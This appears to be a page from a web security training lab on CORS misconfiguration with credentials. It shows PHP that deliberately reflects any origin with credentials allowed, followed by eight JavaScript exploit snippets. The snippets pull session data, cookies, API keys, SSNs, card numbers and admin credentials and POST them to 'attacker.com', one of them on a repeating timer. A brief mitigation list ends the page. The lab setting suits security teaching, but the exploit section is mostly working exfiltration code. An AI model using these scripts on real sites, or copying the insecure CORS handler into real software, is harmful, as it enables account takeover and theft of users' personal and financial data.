Lab 3: CORS with Credentials

CORS with credentials leading to data theft

Difficulty: Medium

Lab Overview

This lab demonstrates CORS vulnerabilities where the server accepts credentials from any origin. This allows attackers to make authenticated requests and steal sensitive session data, API keys, and other credentials.

Objective: Exploit CORS with credentials to steal session data and perform unauthorized actions.

Vulnerable CORS Headers
// Vulnerable: CORS with credentials from any origin
function set_cors_headers() {
    $origin = $_SERVER['HTTP_ORIGIN'] ?? '*';
    
    // Vulnerable: Accept any origin with credentials
    header("Access-Control-Allow-Origin: $origin");
    header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
    header("Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With, X-Custom-Header");
    header("Access-Control-Allow-Credentials: true");
    header("Access-Control-Expose-Headers: X-Session-Data, X-User-Token, X-Admin-Key");
    
    // Handle preflight requests
    if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
        http_response_code(200);
        exit();
    }
}
Credentials CORS Tester
⚠️ Credentials CORS Warning

This lab demonstrates CORS with credentials vulnerabilities:

  • Access-Control-Allow-Credentials: true - Allows credentials
  • Access-Control-Allow-Origin: $origin - Accepts any origin
  • Access-Control-Expose-Headers - Exposes sensitive headers
  • Session data - Exposes session information
Session API Endpoints

Try these session endpoints:

  • ?action=session - Session data
  • ?action=user_data - User data with credentials
  • ?action=admin_data - Admin data with tokens
API Response
API Response (May contain sensitive session data):
Click a button above to test the API
Vulnerability Details
  • Type: CORS with Credentials
  • Severity: Critical
  • Method: GET/POST
  • Issue: Credentials with any origin
Attack Vectors
  • Session Theft: Steal session data
  • Token Theft: Steal API tokens
  • Admin Access: Access admin data
  • Credential Abuse: Abuse stolen credentials
Credentials CORS Exploitation Examples

Use these techniques to exploit CORS with credentials:

1. Basic Credentials CORS Exploitation:
// Exploit CORS with credentials from any origin fetch('http://vulnerable-site.com/api?action=session', { method: 'GET', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json', 'X-Custom-Header': 'malicious-value' } }) .then(response => { // Access exposed headers const sessionData = response.headers.get('X-Session-Data'); const userToken = response.headers.get('X-User-Token'); const adminKey = response.headers.get('X-Admin-Key'); console.log('Exposed headers:', { sessionData, userToken, adminKey }); return response.json(); }) .then(data => { console.log('Stolen session data:', data); // Send to attacker server fetch('http://attacker.com/steal-session', { method: 'POST', body: JSON.stringify(data) }); });
2. Session Data Theft:
// Steal session data via CORS with credentials fetch('http://vulnerable-site.com/api?action=session', { method: 'GET', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json' } }) .then(response => response.json()) .then(data => { console.log('Session data stolen:', data); // Extract sensitive information const sessionId = data.session_id; const apiKey = data.api_key; const adminToken = data.admin_token; const permissions = data.permissions; // Send to attacker server fetch('http://attacker.com/steal-session', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ timestamp: new Date().toISOString(), sessionData: data, extractedInfo: { sessionId, apiKey, adminToken, permissions } }) }); });
3. User Data with Credentials:
// Steal user data with credentials fetch('http://vulnerable-site.com/api?action=user_data', { method: 'GET', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + localStorage.getItem('token') } }) .then(response => response.json()) .then(data => { console.log('User data stolen:', data); // Extract sensitive information const ssn = data.ssn; const creditCard = data.credit_card; const apiKey = data.api_key; const adminToken = data.admin_token; // Send to attacker server fetch('http://attacker.com/steal-user-data', { method: 'POST', body: JSON.stringify({ timestamp: new Date().toISOString(), userData: data, sensitiveInfo: { ssn, creditCard, apiKey, adminToken } }) }); });
4. Admin Data Theft:
// Steal admin data with credentials fetch('http://vulnerable-site.com/api?action=admin_data', { method: 'GET', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + localStorage.getItem('admin_token') } }) .then(response => response.json()) .then(data => { console.log('Admin data stolen:', data); // Extract admin information const adminPanelUrl = data.admin_panel_url; const databaseCredentials = data.database_credentials; const apiKeys = data.api_keys; const serverInfo = data.server_info; // Send to attacker server fetch('http://attacker.com/steal-admin-data', { method: 'POST', body: JSON.stringify({ timestamp: new Date().toISOString(), adminData: data, extractedInfo: { adminPanelUrl, databaseCredentials, apiKeys, serverInfo } }) }); });
5. POST Request with Credentials:
// Exploit POST requests with credentials fetch('http://vulnerable-site.com/api', { method: 'POST', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + localStorage.getItem('token'), 'X-Custom-Header': 'malicious-value' }, body: JSON.stringify({ action: 'update_session', last_activity: new Date().toISOString() }) }) .then(response => response.json()) .then(data => { console.log('Session update result:', data); });
6. Cookie and Session Theft:
// Steal cookies and session data fetch('http://vulnerable-site.com/api?action=session', { method: 'GET', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json' } }) .then(response => response.json()) .then(data => { // Get cookies from document.cookie const cookies = document.cookie; const sessionId = data.session_id; const apiKey = data.api_key; console.log('Stolen cookies:', cookies); console.log('Stolen session ID:', sessionId); console.log('Stolen API key:', apiKey); // Send to attacker server fetch('http://attacker.com/steal-cookies-session', { method: 'POST', body: JSON.stringify({ timestamp: new Date().toISOString(), cookies: cookies, sessionData: data, extractedInfo: { sessionId, apiKey } }) }); });
7. Real-time Session Monitoring:
// Continuous monitoring of session data setInterval(() => { fetch('http://vulnerable-site.com/api?action=session', { method: 'GET', credentials: 'include', mode: 'cors' }) .then(response => response.json()) .then(data => { console.log('Real-time session data:', data); // Send to attacker server fetch('http://attacker.com/monitor-session', { method: 'POST', body: JSON.stringify({ timestamp: new Date().toISOString(), sessionData: data }) }); }); }, 30000); // Every 30 seconds
8. Advanced Credentials Exploitation:
// Exploit all endpoints with credentials async function exploitAllCredentials() { const endpoints = ['session', 'user_data', 'admin_data']; for (const endpoint of endpoints) { try { const response = await fetch(`http://vulnerable-site.com/api?action=${endpoint}`, { method: 'GET', credentials: 'include', mode: 'cors', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + localStorage.getItem('token'), 'X-Custom-Header': 'malicious-value' } }); // Extract all headers const headers = {}; response.headers.forEach((value, key) => { headers[key] = value; }); const data = await response.json(); console.log(`${endpoint} data and headers:`, { data, headers }); // Send to attacker fetch('http://attacker.com/steal-all-credentials', { method: 'POST', body: JSON.stringify({ endpoint: endpoint, data: data, headers: headers, timestamp: new Date().toISOString() }) }); } catch (error) { console.error(`Failed to exploit ${endpoint}:`, error); } } } exploitAllCredentials();
Real-World Attack Scenarios
Mitigation Strategies
  • Never use wildcard (*) origin with credentials
  • Use specific origins instead of wildcard
  • Implement proper origin validation
  • Use whitelist-based CORS policies
  • Regular security testing and vulnerability assessments
  • Monitor for unusual cross-origin requests
  • Implement proper authentication and authorization
  • Use Content Security Policy (CSP)
  • Implement rate limiting and request validation
  • Audit exposed headers and minimize exposure
  • Use secure session management
  • Implement proper token validation